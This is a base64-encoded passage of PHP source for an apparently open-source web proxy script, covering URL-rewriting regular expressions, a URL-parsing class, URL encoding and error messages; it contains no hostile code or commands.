VOQ1JZUFRfVVJMUz8nIG9uc3VibWl0PSJyZXR1cm4gJy5DT09LX1BSRUYuJy5mb3JtX2VuY3J5cHQodGhpcyk7Ij4nOic+JykpLA0KCQlhcnJheSgxLDEsIi8oPGZvcm17JGZvcm1ub3Rwb3N0fSspPig/ITwhLS0iLkNPT0tfUFJFRi4nLS0+KS9pJywnXDEgdGFyZ2V0PSJfcGFyZW50Ij48IS0tJy5DT09LX1BSRUYuJy0tPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiIgdmFsdWU9Il8iPicpLA0KDQoJCSMgZGVhbCB3aXRoIHRoZSBmb3JtIGJ1dHRvbiBmb3IgZW5jcnlwdGVkIFVSTHMNCgkJKEVOQ1JZUFRfVVJMUz9hcnJheSgxLDEsIi8oPGlucHV0W14+XSo/IHR5cGV7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Olwic3VibWl0XCJ8J3N1Ym1pdCd8c3VibWl0KVtePl0qP1teXC9dKSgoPzpbIF0/W1wvXSk/PikvaSIsJ1wxIG9uY2xpY2s9IicuQ09PS19QUkVGLidfZm9ybV9idXR0b249dGhpcy5uYW1lOyJcMicpOm51bGwpLA0KDQoJCSMgcGFyc2UgYWxsIHRoZSBvdGhlciB0YWdzDQoJCWFycmF5KDIsMSwiLzxbYS16XVtePl0qeyRwbHVzc3BhY2V9eyRodG1sYXR0cnN9eyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDIpLA0KCQlhcnJheSgyLDEsIi88cGFyYW1bXj5dKnskcGx1c3NwYWNlfW5hbWV7JGFueXNwYWNlfT17JGFueXNwYWNlfVtcIiddP21vdmllW14+XSp7JHBsdXNzcGFjZX12YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxKSwNCgkJYXJyYXkoMiwyLCIvPHNjcmlwdFtePl0qP3skcGx1c3NwYWNlfXNyY3skYW55c3BhY2V9PXskYW55c3BhY2V9KFtcIiddKXskYW55c3BhY2V9KC4qP1teXFxcXF0pXFwxW14+XSo+eyRhbnlzcGFjZX08XC9zY3JpcHQ+L2kiLDIpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPGEoPzpyZWEpP3skcGx1c3NwYWNlfVtePl0qaHJlZnskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxLGZhbHNlLE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOm51bGwpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPFtpXT9mcmFtZXskcGx1c3NwYWNlfVtePl0qc3JjeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDEsZmFsc2UsUEFHRVRZUEVfRlJBTUVEX0NISUxEKTpudWxsKQ0KCSksDQoNCgkndGV4dC9jc3MnID0+IGFycmF5KA0KCQlhcnJheSgyLDEsIi9bXmEtel11cmxcKHskYW55c3BhY2V9KCYoPzpxdW90fCMoPzozWzQ5XSkpO3xcInwnKSguKj9bXlxcXFxdKShcXDEpeyRhbnlzcGFjZX1cKS9pIiwyKSwNCgkJYXJyYXkoMiwxLCIvW15hLXpddXJsXCh7JGFueXNwYWNlfSgoPyEmKD86cXVvdHwjKD86M1s0OV0pKTspW15cIidcXFxcXS4qP1teXFxcXF0peyRhbnlzcGFjZX1cKS9pIiwxKSwNCgkJYXJyYXkoMiwxLCIvQGltcG9ydHskcGx1c3NwYWNlfSgmKD86cXVvdHwjKD86M1s0OV0pKTt8XCJ8JykoLio/W15cXFxcXSkoXFwxKTsvaSIsMikNCgkpLA0KDQoJJ2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMsDQoJJ3RleHQvamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMNCik7DQoNCiMgfX19DQoNCiMgUkVHRVhQUzogSU5TRVJUIEpBVkFTQ1JJUFQgUkVHRVhQUyB7e3sNCg0KaWYoUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwcycgfHwgUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwc19mcmFtZWQnKXsgPz4vLzxzY3JpcHQ+DQo8P3BocCBlY2hvKGNvbnZlcnRhcnJheV90b19qYXZhc2NyaXB0KCkuKCghZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpPydyZWdleHBfYXJyYXlzWyJ0ZXh0L2h0bWwiXS5wdXNoKEFycmF5KDEsLzxbXFxcXC9dPyhlbWJlZHxwYXJhbXxvYmplY3QpW14+XSo+L2lnLCIiKSk7JzpudWxsKSk7ID8+DQovLzwvc2NyaXB0Pjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFNFUlZFUi1TSURFIE9OTFkgUEFSU0lORyB7e3sNCg0KYXJyYXlfcHVzaCgkcmVnZXhwX2FycmF5c1sndGV4dC9odG1sJ10sDQoJYXJyYXkoMiwxLCIvPG1ldGFbXj5dKnskcGx1c3NwYWNlfWh0dHAtZXF1aXZ7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpcmVmcmVzaFxcMVtePl0qIGNvbnRlbnR7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpWyAwLTlcLjtcdFxcclxuXSp1cmw9KC4qPylcXDJbXj5dKj4vaSIsMyx0cnVlLE5FV19QQUdFVFlQRV9GUkFNRURfUEFHRSksDQoJYXJyYXkoMSwxLCIvKDxtZXRhW14+XSp7JHBsdXNzcGFjZX1odHRwLWVxdWl2eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0oW1wiJ118KXNldC1jb29raWVcXDJbXj5dKiBjb250ZW50eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0pKFtcIiddKSguKj9bXlxcXFxdKXskYW55c3BhY2V9XFwzL2kiLCdcMVwzJy5QQUdFQ09PS19QUkVGSVguJ1w0XDMnKQ0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBDTEVBTlVQIHt7ew0KDQojIG5lZWRlZCBsYXRlciwgYnV0ICRhbnlzcGFjZSBhbmQgJGh0bWxyZWcgYXJlIHVuc2V0IGJlbG93DQpkZWZpbmUoJ0JBU0VfUkVHRVhQJywiPGJhc2VbXj5dKiBocmVmeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9W14+XSo+Iik7DQpkZWZpbmUoJ0VORF9PRl9TQ1JJUFRfVEFHJywiKD86eyRhbnlzcGFjZX0oPzpcL1wvKT97JGFueXNwYWNlfS0tPnskYW55c3BhY2V9KT88XC9zY3JpcHQ+Iik7DQpkZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsIiggb25bYS16XXszLDIwfT0oPzpcIlteXCJdK1wifCdbXiddKyd8W15cIicgPl1bXiA+XStbXlwiJyA+XSl8IGhyZWY9KD86XCJ7JGFueXNwYWNlfWphdmFzY3JpcHQ6W15cIl0rXCJ8J3skYW55c3BhY2V9amF2YXNjcmlwdDpbXiddKyd8eyRhbnlzcGFjZX1qYXZhc2NyaXB0OlteXCInID5dW14gPl0rW15cIicgPl0pKSIpOw0KDQp1bnNldCgkanNhdHRycywkanNob29rYXR0cnMsJGpzbWV0aG9kcywkanNsb2Nob3N0LCRodG1sYXR0cnMsDQogICAgICAkYW55c3BhY2UsJHBsdXNzcGFjZSwkb3BlcmFuZHMsJG5vdG9wZXJhbmRzLA0KICAgICAgJHF1b3Rlc2VnLCRyZWdzZWcsDQogICAgICAkanN2YXJzZWN0LCRqc29ianNlY3QsJGpzdmFyb2JqLCRqc3F1b3Rlc2VjdCwkanNxdW90ZXJlZywNCiAgICAgICRub3Rqc3ZhcnNlY3QsDQogICAgICAkanNlbmQsJG5vdGpzZW5kLCRqc2JlZ2luLCRqc2JlZ2lucmlnaHQsDQogICAgICAkaHRtbG5vcXVvdCwkaHRtbG5vcXVvdG5vcW0sJGh0bWxyZWcsJHhtbGh0dHByZXEsJGpzbmV3b2JqLCRmb3Jtbm90cG9zdCwkZnJhbWV0YXJnZXRzLA0KICAgICAgJGpzX3N0cmluZ19tZXRob2RzLCRqc19zdHJpbmdfYXR0cnMsDQogICAgICAkanNfcmVnZXhwX2FycmF5cw0KKTsNCg0KIyB9fX0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlMge3t7DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBBVVJMIENMQVNTIHt7ew0KDQojIGNsYXNzIGZvciBVUkwNCmNsYXNzIGF1cmx7DQoJdmFyICR1cmwsJHRvcHVybCwkbG9ja2VkOw0KCXZhciAkcHJvdG8sJHVzZXJwYXNzLCRzZXJ2ZXJuYW1lLCRwb3J0dmFsLCRwYXRoLCRmaWxlLCRxdWVyeSwkbGFiZWw7DQoNCglmdW5jdGlvbiBhdXJsKCR1cmwsJHRvcHVybD1udWxsKXsNCg0KCQlpZihzdHJsZW4oJHVybCk+TUFYSU1VTV9VUkxfTEVOR1RIKSAkdGhpcy0+dXJsPW51bGw7DQoJCWVsc2UgJHRoaXMtPnVybD1wcmVnX3JlcGxhY2UoJy8mIyhbMC05XSspOy9lJywnY2hyKFwxKScsdHJpbShzdHJfcmVwbGFjZSgnJmFtcDsnLCcmJyxzdHJfcmVwbGFjZShjaHIoMTMpLG51bGwsc3RyX3JlcGxhY2UoY2hyKDEwKSxudWxsLCR1cmwpKSkpKTsNCgkJJHRoaXMtPnRvcHVybD0kdG9wdXJsOw0KDQoJCSR0aGlzLT5kZXRlcm1pbmVfbG9ja2VkKCk7DQoJCWlmKCR0aGlzLT5sb2NrZWQpIHJldHVybjsNCg0KCQkkdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXByZWdfbWF0Y2goVVJMUkVHLCR0aGlzLT51cmwpKXsNCgkJCSR1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKCR0aGlzLT50b3B1cmw9PW51bGwpICR0aGlzLT51cmw9J2h0dHA6Ly8nLigoJHRoaXMtPnVybHswfT09JzonIHx8ICR0aGlzLT51cmx7MH09PScvJyk/c3Vic3RyKCR0aGlzLT51cmwsMSk6JHRoaXMtPnVybCkuKHN0cnBvcygkdGhpcy0+dXJsLCcvJykhPT1mYWxzZT9udWxsOicvJyk7DQoJCQkjaWYoJHRoaXMtPnRvcHVybD09bnVsbCkgJHRoaXMtPnVybD0naHR0cDovLycucHJlZ19yZXBsYWNlKCIvXjo/XC97MCwyfS8iLCIiLCR0aGlzLT51cmwpLihzdHJwb3MoJHRoaXMtPnVybCwnLycpIT09ZmFsc2U/bnVsbDonLycpOw0KCQkJZWxzZXsNCgkJCQkkbmV3dXJsPSR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpLiR0aGlzLT5nZXRfZmllbGRyZXEoMiwkdGhpcy0+dG9wdXJsLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPnRvcHVybC0+Z2V0X3NlcnZlcm5hbWUoKS4oKCR0aGlzLT50b3B1cmwtPmdldF9wb3J0dmFsKCkhPTgwICYmICgkdGhpcy0+dG9wdXJsLT5nZXRfcHJvdG8oKT09J2h0dHBzJz8kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyc6Jy4kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpOm51bGwpOw0KCQkJCWlmKCR0aGlzLT51cmx7MH0hPScvJykgJG5ld3VybC49JHRoaXMtPnRvcHVybC0+Z2V0X3BhdGgoKTsNCgkJCQkkdGhpcy0+dXJsPSRuZXd1cmwuJHRoaXMtPnVybDsNCgkJCX0NCgkJfQ0KDQoJCSR0aGlzLT5zZXRfcHJvdG8oKCR1cmx3YXN2YWxpZCB8fCAkdGhpcy0+dG9wdXJsPT1udWxsP3ByZWdfcmVwbGFjZSgnL14oW146XC9dKikuKiQvJywnXDEnLCR0aGlzLT51cmwpOiR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpKSk7DQoJCSR0aGlzLT5zZXRfdXNlcnBhc3MocHJlZ19yZXBsYWNlKFVSTFJFRywnXDInLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9zZXJ2ZXJuYW1lKHByZWdfcmVwbGFjZShVUkxSRUcsJ1wzJywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcG9ydHZhbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcNCcsJHRoaXMtPnVybCkpOw0KCQkkdGhpcy0+c2V0X3BhdGgocHJlZ19yZXBsYWNlKFVSTFJFRywnXDUnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9maWxlKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w2JywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcXVlcnkocHJlZ19yZXBsYWNlKFVSTFJFRywnXDcnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9sYWJlbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcOCcsJHRoaXMtPnVybCkpOw0KDQoJCWlmKCEkdGhpcy0+bG9ja2VkICYmICFwcmVnX21hdGNoKFVSTFJFRywkdGhpcy0+dXJsKSkgaGF2b2soNywkdGhpcy0+dXJsKTsgIyoNCgl9DQoNCglmdW5jdGlvbiBkZXRlcm1pbmVfbG9ja2VkKCl7ICR0aGlzLT5sb2NrZWQ9cHJlZ19tYXRjaChBVVJMX0xPQ0tfUkVHRVhQLCR0aGlzLT51cmwpPjA7IH0gIyoNCg0KCWZ1bmN0aW9uIGdldF9maWVsZHJlcSgkZmllbGRubywkdmFsdWUpew0KCQkkZmllbGRyZXFzPWFycmF5KDIgPT4gJzovLycuKCR2YWx1ZSE9bnVsbD8iJHZhbHVlQCI6bnVsbCksIDQgPT4gKCR2YWx1ZSE9bnVsbCAmJiBpbnR2YWwoJHZhbHVlKSE9ODA/JzonLmludHZhbCgkdmFsdWUpOm51bGwpLCA3ID0+ICgkdmFsdWUhPW51bGw/Ij8kdmFsdWUiOm51bGwpLCA4ID0+ICgkdmFsdWUhPW51bGw/IiMkdmFsdWUiOm51bGwpKTsNCgkJaWYoIWFycmF5X2tleV9leGlzdHMoJGZpZWxkbm8sJGZpZWxkcmVxcykpIHJldHVybiAoZW1wdHkoJHZhbHVlKT9udWxsOiR2YWx1ZSk7DQoJCWVsc2UgcmV0dXJuICRmaWVsZHJlcXNbJGZpZWxkbm9dOw0KCX0NCg0KCWZ1bmN0aW9uIHNldF9wcm90bygkcHJvdG89JycpeyBpZigkdGhpcy0+bG9ja2VkKSByZXR1cm47ICR0aGlzLT5wcm90bz0oIWVtcHR5KCRwcm90byk/JHByb3RvOidodHRwJyk7IH0NCglmdW5jdGlvbiBnZXRfcHJvdG8oKXsgcmV0dXJuICR0aGlzLT5wcm90bzsgfQ0KCWZ1bmN0aW9uIGdldF91c2VycGFzcygpeyByZXR1cm4gJHRoaXMtPnVzZXJwYXNzOyB9DQoJZnVuY3Rpb24gc2V0X3VzZXJwYXNzKCR1c2VycGFzcz1udWxsKXsgJHRoaXMtPnVzZXJwYXNzPSR1c2VycGFzczsgfQ0KCWZ1bmN0aW9uIGdldF9zZXJ2ZXJuYW1lKCl7IHJldHVybiAkdGhpcy0+c2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIHNldF9zZXJ2ZXJuYW1lKCRzZXJ2ZXJuYW1lPW51bGwpeyAkdGhpcy0+c2VydmVybmFtZT0kc2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIGdldF9wb3J0dmFsKCl7IHJldHVybiAoZW1wdHkoJHRoaXMtPnBvcnR2YWwpPygkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JzQ0Myc6JzgwJyk6JHRoaXMtPnBvcnR2YWwpOyB9DQoJZnVuY3Rpb24gc2V0X3BvcnR2YWwoJHBvcnQ9bnVsbCl7ICR0aGlzLT5wb3J0dmFsPXN0cnZhbCgoaW50dmFsKCRwb3J0KSE9ODApPyRwb3J0Om51bGwpOyB9DQoJZnVuY3Rpb24gZ2V0X3BhdGgoKXsNCgkJaWYoc3RycG9zKCR0aGlzLT5wYXRoLCcvLi4vJykhPT1mYWxzZSkgJHRoaXMtPnBhdGg9cHJlZ19yZXBsYWNlKCcvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy8nLCcvJywkdGhpcy0+cGF0aCk7DQoJCWlmKHN0cnBvcygkdGhpcy0+cGF0aCwnLy4vJykhPT1mYWxzZSkgd2hpbGUoKCRwYXRoPXN0cl9yZXBsYWNlKCcvLi8nLCcvJywkdGhpcy0+cGF0aCkpICYmICRwYXRoIT0kdGhpcy0+cGF0aCkgJHRoaXMtPnBhdGg9JHBhdGg7DQoJCXJldHVybiAkdGhpcy0+cGF0aDsNCgl9DQoJZnVuY3Rpb24gc2V0X3BhdGgoJHBhdGg9bnVsbCl7ICR0aGlzLT5wYXRoPShlbXB0eSgkcGF0aCk/Jy8nOiRwYXRoKTsgfQ0KCWZ1bmN0aW9uIGdldF9maWxlKCl7IHJldHVybiAkdGhpcy0+ZmlsZTsgfQ0KCWZ1bmN0aW9uIHNldF9maWxlKCRmaWxlPW51bGwpeyAkdGhpcy0+ZmlsZT0kZmlsZTsgfQ0KCWZ1bmN0aW9uIGdldF9xdWVyeSgpeyByZXR1cm4gJHRoaXMtPnF1ZXJ5OyB9DQoJZnVuY3Rpb24gc2V0X3F1ZXJ5KCRxdWVyeT1udWxsKXsgJHRoaXMtPnF1ZXJ5PSRxdWVyeTsgfQ0KCWZ1bmN0aW9uIGdldF9sYWJlbCgpeyByZXR1cm4gJHRoaXMtPmxhYmVsOyB9DQoJZnVuY3Rpb24gc2V0X2xhYmVsKCRsYWJlbD1udWxsKXsgJHRoaXMtPmxhYmVsPSRsYWJlbDsgfQ0KDQoJZnVuY3Rpb24gZ2V0X3VybCgkd2l0aGxhYmVsPXRydWUpew0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHRoaXMtPnVybDsNCgkJcmV0dXJuICR0aGlzLT5nZXRfcHJvdG8oKS4nOi8vJy4NCgkJICAgICAgICgkdGhpcy0+Z2V0X3VzZXJwYXNzKCk9PW51bGw/bnVsbDokdGhpcy0+Z2V0X3VzZXJwYXNzKCkuJ0AnKS4NCgkJICAgICAgICR0aGlzLT5nZXRfc2VydmVybmFtZSgpLg0KCQkgICAgICAgKCgkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcycgJiYgaW50dmFsKCR0aGlzLT5nZXRfcG9ydHZhbCgpKT09NDQzKSB8fCBpbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpPT04MD9udWxsOic6Jy5pbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpKS4NCgkJICAgICAgICR0aGlzLT5nZXRfcGF0aCgpLiR0aGlzLT5nZXRfZmlsZSgpLg0KCQkgICAgICAgKCR0aGlzLT5nZXRfcXVlcnkoKT09bnVsbD9udWxsOic/Jy4kdGhpcy0+Z2V0X3F1ZXJ5KCkpLg0KCQkgICAgICAgKCR3aXRobGFiZWwgJiYgJHRoaXMtPmdldF9sYWJlbCgpPT1udWxsP251bGw6JyMnLiR0aGlzLT5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCWZ1bmN0aW9uIHN1cnJvZ2FmeSgpew0KCQkkbGFiZWw9JHRoaXMtPmdldF9sYWJlbCgpOw0KCQkkdGhpcy0+c2V0X2xhYmVsKCk7DQoJCSR1cmw9JHRoaXMtPmdldF91cmwoKTsNCgkJJHRoaXMtPnNldF9sYWJlbCgkbGFiZWwpOw0KDQoJCSMkdGhpcy0+ZGV0ZXJtaW5lX2xvY2tlZCgpOw0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHVybDsNCgkJIyB8fCAkdGhpcy0+Z2V0X3Byb3RvKCkuJHRoaXMtPmdldF9maWVsZHJlcSgyLCR0aGlzLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPmdldF9zZXJ2ZXJuYW1lKCkuJHRoaXMtPmdldF9wYXRoKCkuJHRoaXMtPmdldF9maWxlKCk9PVRISVNfU0NSSVBUKSByZXR1cm4gJHVybDsNCg0KCQlpZihFTkNSWVBUX1VSTFMgJiYgISR0aGlzLT5sb2NrZWQpICR1cmw9cHJveGVuYygkdXJsKTsNCgkJIyR1cmw9VEhJU19TQ1JJUFQuJz89Jy4oIUVOQ1JZUFRfVVJMUz91cmxlbmNvZGUoJHVybCk6JHVybCkuKCFlbXB0eSgkbGFiZWwpPyIjJGxhYmVsIjpudWxsKTsgIyB1cmxlbmNvZGVkDQoJCSR1cmw9VEhJU19TQ1JJUFQuIj89eyR1cmx9Ii4oIWVtcHR5KCRsYWJlbCk/IiMkbGFiZWwiOm51bGwpOw0KCQlyZXR1cm4gJHVybDsNCgl9DQp9IA0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogVVJMIFBBUlNJTkcge3t7DQpmdW5jdGlvbiBzdXJyb2dhZnlfdXJsKCR1cmwsJHRvcHVybD1mYWxzZSwkYWRkcHJveHk9dHJ1ZSl7DQoJZ2xvYmFsICRjdXJyX3VybG9iajsNCgkvL2lmKHByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2lzJywkdXJsKT4wKXsNCglpZigoJHVybHswfT09JyInICYmIHN1YnN0cigkdXJsLC0xKT09JyInKSB8fCAoJHVybHswfT09J1wnJyAmJiBzdWJzdHIoJHVybCwtMSk9PSdcJycpKXsNCgkJJHVybHF1b3RlPSR1cmx7MH07DQoJCSR1cmw9c3Vic3RyKCR1cmwsMSxzdHJsZW4oJHVybCktMik7DQoJfQ0KCWlmKCR0b3B1cmw9PT1mYWxzZSkgJHRvcHVybD0kY3Vycl91cmxvYmo7DQoJJHVybG9iaj1uZXcgYXVybCgkdXJsLCR0b3B1cmwpOw0KCSRuZXdfdXJsPSgkYWRkcHJveHk/JHVybG9iai0+c3Vycm9nYWZ5KCk6JHVybG9iai0+Z2V0X3VybCgpKTsNCglpZighZW1wdHkoJHVybHF1b3RlKSkgJG5ld191cmw9InskdXJscXVvdGV9eyRuZXdfdXJsfXskdXJscXVvdGV9IjsNCglyZXR1cm4gJG5ld191cmw7DQp9DQoNCmZ1bmN0aW9uIGZyYW1pZnlfdXJsKCR1cmwsJGZyYW1lX3R5cGU9ZmFsc2Upew0KCWlmKCgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FX1RPUCB8fCAhVVJMX0ZPUk0pICYmICgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FRF9QQUdFICYmICFQQUdFX0ZSQU1FRCkpIHJldHVybiAkdXJsOw0KCS8vaWYocHJlZ19tYXRjaCgnL14oWyJcJ10pLipcMSQvaXMnLCR1cmwpPjApew0KCWlmKCgkdXJsezB9PT0nIicgJiYgc3Vic3RyKCR1cmwsLTEpPT0nIicpIHx8ICgkdXJsezB9PT0nXCcnICYmIHN1YnN0cigkdXJsLC0xKT09J1wnJykpew0KCQkkdXJscXVvdGU9JHVybHswfTsNCgkJJHVybD1zdWJzdHIoJHVybCwxLHN0cmxlbigkdXJsKS0yKTsNCgl9DQoJaWYocHJlZ19tYXRjaChGUkFNRV9MT0NLX1JFR0VYUCwkdXJsKTw9MCl7DQoJCWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVfVE9QICYmIFVSTF9GT1JNKSAkcXVlcnk9JyY9JzsNCgkJZWxzZWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEKSAkcXVlcnk9Jy4mPSc7DQoJCWVsc2VpZigkZnJhbWVfdHlwZT09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VfRlJBTUVEKSAkcXVlcnk9J18mPSc7DQoJCWVsc2UgJHF1ZXJ5PW51bGw7DQoJCSR1cmw9cHJlZ19yZXBsYWNlKCcvXihbXlw/XSopW1w/XT8nLlBBR0VUWVBFX01JTklSRUdFWFAuJyhbXiNdKj9bI10/Lio/KSQvJywiXFwxPz17JHF1ZXJ5fVxcMyIsJHVybCwxKTsNCgl9DQoJaWYoIWVtcHR5KCR1cmxxdW90ZSkpICR1cmw9InskdXJscXVvdGV9eyR1cmx9eyR1cmxxdW90ZX0iOw0KCXJldHVybiAkdXJsOw0KfQ0KDQpmdW5jdGlvbiBwcm94ZW5jKCR1cmwpew0KCWlmKCR1cmx7MH09PSd+JyB8fCBzdHJ0b2xvd2VyKHN1YnN0cigkdXJsLDAsMykpPT0nJTdlJykgcmV0dXJuICR1cmw7DQoJJHVybD11cmxlbmNvZGUoJHVybCk7DQoJJG5ld191cmw9bnVsbDsNCglmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCSRjaGFyPW9yZCgkdXJseyRpfSk7DQoJCSRjaGFyKz1vcmQoc3Vic3RyKFNFU1NfUFJFRiwkaSVzdHJsZW4oU0VTU19QUkVGKSwxKSk7DQoJCXdoaWxlKCRjaGFyPjEyNikgJGNoYXItPTk0Ow0KCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgl9DQoJI3JldHVybiAnficuYmFzZTY0X2VuY29kZSgkbmV3X3VybCk7DQoJcmV0dXJuICd+Jy51cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkbmV3X3VybCkpOw0KfQ0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogRVJST1JTICYgRVhJVElORyB7e3sNCg0KZnVuY3Rpb24gZmluaXNoX25vZXhpdCgpew0KCWdsb2JhbCAkZG5zX2NhY2hlX2FycmF5Ow0KCSMgc2F2ZSBETlMgQ2FjaGUgYmVmb3JlIGV4aXRpbmcNCgkkX1NFU1NJT05bJ0ROU19DQUNIRV9BUlJBWSddPSRkbnNfY2FjaGVfYXJyYXk7DQp9DQoNCmZ1bmN0aW9uIGZpbmlzaCgpew0KCWZpbmlzaF9ub2V4aXQoKTsNCglleGl0KCk7DQp9DQoNCmZ1bmN0aW9uIGhhdm9rKCRlcnJvcm5vLCRhcmcxPW51bGwsJGFyZzI9bnVsbCwkYXJnMz1udWxsKXsNCglnbG9iYWwgJGN1cnJfdXJsOw0KCSR1cmw9JGN1cnJfdXJsOw0KCXN3aXRjaCgkZXJyb3Jubyl7DQoJCWNhc2UgMToNCgkJCSRldD0nQmFkIElQIEFkZHJlc3MnOw0KCQkJJGVkPSJUaGUgSVAgYWRkcmVzcyBnaXZlbiAoeyRhcmcyfSkgaXMgYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLCBvciB0aGUgZG9tYWluIGdpdmVuICh7JGFyZzF9KSB3YXMgcmVzb2x2ZWQgdG8gYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLiI7DQoJCQlicmVhazsNCgkJY2FzZSAyOg0KCQkJJGV0PSdBZGRyZXNzIGlzIEJsb2NrZWQnOw0KCQkJJGVkPSJUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IHNlcnZpY2UgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBhZGRyZXNzLCBkb21haW4sIG9yIHN1Ym5ldC5cbjxiciAvPjxiciAvPlxuRG9tYWluOiB7JGFyZzF9XG48YnIgLz5cbkFkZHJlc3M6IHskYXJnMn0iOw0KCQkJYnJlYWs7DQoJCWNhc2UgMzoNCgkJCSRldD0nQ291bGQgTm90IFJlc29sdmUgRG9tYWluJzsNCgkJCSRlZD0iVGhlIGRvbWFpbiBvZiB0aGUgVVJMIGdpdmVuICh7JGFyZzF9KSBjb3VsZCBub3QgYmUgcmVzb2x2ZWQgZHVlIHRvIEROUyBpc3N1ZXMgb3IgYW4gZXJyb3JuZW91cyBkb21haW4gbmFtZS4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNDoNCgkJCSRldD0nQmFkIEZpbHRlcnMnOw0KCQkJJGVkPSdUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IGhhcyBpbmNvcnJlY3RseSBjb25maWd1cmVkIGhpcyBkb21haW4gZmlsdGVycywgb3IgYSBkb21haW4gZ2l2ZW4gY291bGQgbm90IGJlIHJlc29sdmVkLic7DQoJCQlicmVhazsNCgkJY2FzZSA1Og0KCQkJJGV0PSdEb21haW4gaXMgQmxvY2tlZCc7DQoJCQkkZWQ9J1RoZSBhZG1pbmlzdHJhdG9yIG9mIHRoaXMgcHJveHkgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBkb21haW4uJzsNCgkJCWJyZWFrOw0KCQljYXNlIDY6DQoJCQkkZXQ9J0NvdWxkIE5vdCBDb25uZWN0IHRvIFNlcnZlcic7DQoJCQkkZWQ9IkFuIGVycm9yIGhhcyBvY2N1cnJlZCB3aGlsZSBhdHRlbXB0aW5nIHRvIGNvbm5lY3QgdG8gXCJ7JGFyZzF9XCIgb24gcG9ydCBcInskYXJnMn1cIi4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNzoNCgkJCSRldD0nSW52YWxpZCBVUkwnOw0KCQkJJGVkPSdUaGUgVVJMIGJlbG93IHdhcyBkZXRlY3RlZCB0byBiZSBhbiBpbnZhbGlkIFVSTC4nOw0KCQkJJHVybD0kYXJnMTsNCgkJCWJyZWFrOw0KCX0NCgkkZWQuPSJcbjxiciAvPjxiciAvPlxuVVJMOiZuYnNwO3skdXJsfSI7DQo/Pg0KPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6